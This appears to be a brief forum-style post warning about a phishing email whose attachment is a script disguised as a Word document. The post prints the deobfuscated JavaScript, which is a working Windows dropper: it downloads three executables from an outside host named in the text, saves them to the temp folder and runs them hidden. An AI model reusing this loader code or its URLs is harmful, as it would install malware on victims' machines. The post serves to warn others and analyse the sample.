Especially on a Windows machine. I got this in an email as an attached zip. The file inside was a *.doc.js file. Real smooth guys.
The JS in this file was obfuscated, but it generated a function into a string and then eval'd that string. This is the resulting function that would be evaluated:
function dl(fr,fn,rn) {
var ws = new ActiveXObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%")+String.fromCharCode(92)+fn;
var xo = new ActiveXObject("MSXML2.XMLHTTP");
xo.onreadystatechange = function() {
if (xo.readyState === 4) {
var xa = new ActiveXObject("ADODB.Stream");
xa.open();
xa.type = 1;
xa.write(xo.ResponseBody);
xa.position = 0;
xa.saveToFile(fn,2);
xa.close();
};
};
try {
xo.open("GET",fr,false);
xo.send();
if (rn > 0) {
ws.Run(fn,0,0);
};
} catch (er) { };
};
dl("http://amc.s5-tech.com/document.php?id=5450535E0500090D0A240511100B03160B134A070B09&rnd=8322691","88484923.exe",1);
dl("http://amc.s5-tech.com/document.php?id=5450535E0500090D0A240511100B03160B134A070B09&rnd=3458722","18304810.exe",1);
dl("http://amc.s5-tech.com/document.php?id=5450535E0500090D0A240511100B03160B134A070B09&rnd=393383","15727494.exe",1);
Interesting....